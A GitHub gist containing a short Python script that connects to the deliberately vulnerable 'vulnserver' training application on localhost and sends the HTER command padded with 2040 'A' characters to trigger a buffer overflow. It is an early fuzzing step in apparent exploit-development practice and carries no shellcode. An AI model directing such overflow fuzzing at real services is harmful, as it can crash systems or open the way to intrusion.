Skip to content

Instantly share code, notes, and snippets.

@dave5623
Created January 21, 2014 02:31
Show Gist options
  • Save dave5623/8533465 to your computer and use it in GitHub Desktop.
Save dave5623/8533465 to your computer and use it in GitHub Desktop.
import socket
# open a connection to vulnserver
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect (("localhost", 9999))
# receive the banner for vulnserver
s.recv (1024)
print "[*] Sending 2040 As"
# send the number of As to fuzz the HTER command
s.send ("HTER " + "A" * 2040 + " \r\n")
# receive the response from vulnserver
s.recv (1024)
# close the connection
s.close ()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment